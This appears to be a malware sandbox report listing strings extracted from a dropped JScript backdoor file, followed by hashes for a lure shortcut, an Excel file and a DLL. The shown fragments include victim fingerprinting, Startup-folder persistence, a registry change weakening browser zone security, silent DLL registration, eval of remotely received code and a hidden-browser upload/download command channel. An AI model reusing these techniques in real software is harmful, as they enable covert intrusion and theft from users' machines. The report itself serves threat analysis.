size = this.base64ToFile(upPath, upData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
snd.innerText = this.caseHandler(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
splitChar : '|',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
splitChar = ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
startInfo.ShowWindow = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
startupDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string = string.replace(/\r\n/g,"\n");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
submit.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
switch(caseStr)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SXH_PROXY_SET_PRECONFIG = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SXH_PROXY_SET_PROXY = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
table = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
text = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
text = err;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
text = this.errObjToStr(err);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoCon = new ActiveXObject('ADODB.Connection');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoRec = new ActiveXObject('ADODB.Recordset');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.allStartupDir = this.oShell.SpecialFolders('AllUsersStartup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.Base64_MockDll32 = mockDll32;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.Base64_MockDll64 = mockDll64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll32);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll64);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.createIE().Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'allStartupDir:\n'+this.allStartupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'startupDir:\n'+this.startupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'tmpDir:\n'+this.tmpDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downCount = count;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downEnd = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downFile = filePath;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downIndex = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downOk = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downOk = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downSize = fileSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dstUrl = this.decode(jmpRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.errLogFilePath = oShell.ExpandEnvironmentStrings('%temp%') + '\\_ErrorLog.txt';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.freshIE(workIE);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.getConfig();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id += ele.MACAddress + "-" + ele.IPAddress(0) + ",";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id = this.oNet.ComputerName +'|'+ this.getOSBit() +'|'+ this.oNet.UserDomain +'\\'+ this.oNet.UserName +'|';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.initCode = this.decode(codeRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll32();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll64();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.jmpUrl = this.jmpUrlList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFile = this.oFS.OpenTextFile(this.mutexFilePath, ForAppending, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFilePath = this.tmpDir + '\\' + this.mutexFileName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(ie, realUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.dstUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.jmpUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oCimv2 = this.oWbemLocator.ConnectServer('.', 'root\\cimv2');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS.DeleteFile(dfPath);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oIE = this.createIE();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oNet = new ActiveXObject('WScript.Network');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oSA = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.osBit = this.getOSBit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1601", 0, "REG_DWORD");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.Run('regsvr32 /s "'+mockDllPath+'"', 0, realTimeOut>0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oWbemLocator = new ActiveXObject('WbemScripting.SWbemLocator');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKill(pid);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKillTree(e.item().ProcessId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.retryInterval = 1000*3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagNo);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagYes);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.startupDir = this.oShell.SpecialFolders('Startup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tmpDir = this.oShell.ExpandEnvironmentStrings('%temp%');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tryAuth();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upCount = argArr[3];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upCount=0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upEnd = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upFile = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upIndex = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk=true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOnce = argArr[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upSize = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.waitIE(ie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tmpDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tranInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tryAuth:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{eval(this.initCode);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fileSize = this.oFS.GetFile(filePath).Size;}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fTest=this.oFS.CreateTextFile(this.upFile, true);fTest.Close();}catch(e){accessToWrite=false;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{if(oIE)oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{main();}catch(err){errLog(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{putRes = WScript.PutBlockToFile(this.upFile, this.upOnce, this.upIndex, upData);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockDllPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockIniPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);this.oFS.DeleteFile(outFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(WScript.ScriptFullName);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{with(orz){eval(data);}}catch(err){ret=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{WScript.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
uId : 'username',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
uName : 'username',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
up.innerText = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upCount : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upData = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upData = up.innerText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upEnd : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upFile : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIdx.innerText = '-1';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIdx.innerText = this.upIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIndex : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upInterval : 5,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upOk : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upOnce : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upPath = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upSize : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upStart : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
username.name = this.uName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
username.value = this.id;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 12) | 224);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 6) | 192);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode : 'omega',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.name = this.vName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.value = this.valicode;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ado = new ActiveXObject('ADODB.Stream');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var adSaveCreateOverwrite = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var adTypeBinary = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var bytesPerGB = 1024 * 1024 * 1024;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var c = c1 = c2 = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var c = string.charCodeAt(n);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var chr1, chr2, chr3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var colProcess = new Enumerator(this.oCimv2.ExecQuery("select ProcessId from Win32_Process where ProcessId=" + processId.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var down = workIE.Document.getElementById("down");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var downBtn = workIE.Document.getElementById("downBtn");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var drv = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_QuickFixEngineering"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ParentProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId=' + pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oFS.Drives);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var enc1, enc2, enc3, enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var freeGB = drv.FreeSpace / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var i = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var i;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var idleThisTime = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var idleTimes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ie = null;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var inParams = method.InParameters.SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var link = this.oShell.CreateShortcut(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var loginForm = workIE.Document.getElementById(this.loginFormId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var method = process.Methods_.Item('Create');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var minute = myDate.getMinutes();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var myDate = new Date();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var node = xml.createElement("binary");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var objQuickFix = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oDrives = this.oNet.EnumNetworkDrives();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oPrinters = this.oNet.EnumPrinterConnections();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var orz=
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var outFilePath = scriptFilePath+'.dat';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var outParams = process.ExecMethod_(method.Name, inParams);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var output = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var password = workIE.Document.getElementById(this.pId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var pe = new Enumerator(proc.Properties_);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var process = this.oCimv2.Get('Win32_Process');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var rcv = workIE.Document.getElementById("rcv");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var recvData = rcv.innerText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var REFRESH_COMPLETELY = 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var res = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var s = "---Local drive\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var scriptFilePath = this.tmpDir + '\\~.'+this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var seconds = myDate.getSeconds();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var snd = workIE.Document.getElementById("snd");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var startInfo = this.oCimv2.Get("Win32_ProcessStartup").SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var string = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var submit = workIE.Document.getElementById(this.sId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var tmp = this.decode(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var totalGB = drv.TotalSize / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var up = workIE.Document.getElementById("up");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var upIdx = workIE.Document.getElementById("upIdx");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var username = workIE.Document.getElementById(this.uId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var utftext = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var valicode = workIE.Document.getElementById(this.vId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var workFlag = this.oIE.Document.getElementById(this.workFlagId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var xml = new ActiveXObject('Microsoft.XMLDOM');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
vId : 'valicode',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
vName : 'valicode',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
waitIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
waitTime = realSec*10;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while ( i < utftext.length ) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while (i < input.length) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while(ie.ReadyState!=4 || ie.Busy || !ie.Document){WScript.Sleep(10);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
with(orz){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlag.innerText = flag;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagId : 'workFlag',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagNo : 'N',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagYes : 'Y',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workIE = this.oIE;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.CheckUpAndDown();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(100);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(3000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(500);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(retryInterval);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WshFinished = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WshRunning = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if (isNaN(chr3)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 127) && (c < 2048)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 191) && (c < 224)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(e){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res+=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(1000);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(500);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(argArr.length==4){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(this.osBit=='64'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(typeof(err)=='string'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{return 'unknown osBit';}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(bForeverTry || retryTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(waitTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)

Extracted Files

Displaying 8 extracted file(s). The remaining 1 file(s) are available in the full version and XML/JSON reports.

  • Informative 8

    • VPN Client Checker.lnk
      Size
      4.5KiB (4629 bytes)
      Type
      MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, ctime=Mon Jan 1 00:06:32 1601, mtime=Mon Jan 1 00:06:32 1601, atime=Mon Jan 1 00:06:32 1601, length=0, window=
    • 303286.od
      Size
      134B (134 bytes)
      Type
      ASCII text, with CRLF line terminators
      MD5
      5541a1f9a37c1bf182f4016242d4c23b Copy MD5 to clipboard
      SHA1
      89df6131d0129da78816a6e444db7bd6c49bf285 Copy SHA1 to clipboard
      SHA256
      2988ae819a668892a63ab5564dc9f690310532365c6eedabe10f26f1c939ec5b Copy SHA256 to clipboard
    • 9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls
      Size
      25KiB (25088 bytes)
      Type
      Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 936, Author: admin, Last Saved By: admin, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jan 9 07:18:26 2015, Last Saved Time/Date: Fri Jan 9 07:48:41 2015, Security: 0
      MD5
      4c81bff9208c9666a79042182fc72430 Copy MD5 to clipboard
      SHA1
      db71df84414d6e0a42eda2347ed93932cd87b28b Copy SHA1 to clipboard
      SHA256
      c79f03de4a8ed24d80a3b14ff4f07cf99729cc9061e22a17de429ab75a116bbf Copy SHA256 to clipboard
    • ~HFYJEZHM.dll
      Size
      14KiB (14336 bytes)
      Type
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      MD5
      675fe822243dfd1c3ace2a071d0aa6dd Copy MD5 to clipboard
      SHA1
      b838c92882a0adf11241c68454f3a1174a18cc28 Copy SHA1 to clipboard
      SHA256
      914d3649d2a89a5e64a2668e06ce313aacd30f9b773e47796ac16b1c4508b60c Copy SHA256 to clipboard
    • ~HFYJEZHM.tmp
      Size
      49KiB (49687 bytes)
      Type
      ASCII text, with CRLF line terminators
      MD5
      a1413f50137b6276cac0d96c8ee128b0 Copy MD5 to clipboard
      SHA1
      696656ce905051aefbcb69c366075b6250f8dc44 Copy SHA1 to clipboard
      SHA256
      d06574a545855bf9c8ab0c964054ad397db9deff9a838109019f3de98755d9d1 Copy SHA256 to clipboard
    • Excel12.pip
      Size
      1.5KiB (1544 bytes)
      Type
      data
      MD5
      a309252bf141acc597187ab3b0e82ab2 Copy MD5 to clipboard
      SHA1
      6882ec4626cfc1625bc6e84c2226a21a62528c6b Copy SHA1 to clipboard
      SHA256
      8c9c6d411adad10fee5a6bfa7540c5d6175ff5eb2f08da8240d7397df3ee94aa Copy SHA256 to clipboard
    • 9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.LNK
      Size
      733B (733 bytes)
      Type
      MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 8 12:37:16 2015, mtime=Wed Apr 8 12:37:16 2015, atime=Wed Apr 8 12:37:25 2015, length=279552, window=hide
    • index.dat
      Size
      129B (129 bytes)
      Type
      data
      MD5
      20f1ec860ad1d5030fcda1e0aa77be1c Copy MD5 to clipboard
      SHA1
      6f94cd3d6a9bf0542f3b106aef7a623deb27c514 Copy SHA1 to clipboard
      SHA256
      63855fd38b84890bb2cb082130c3afb96174ffce89bb92a86e1f1d0fde276513 Copy SHA256 to clipboard

Notifications

  • Runtime 0

  • Community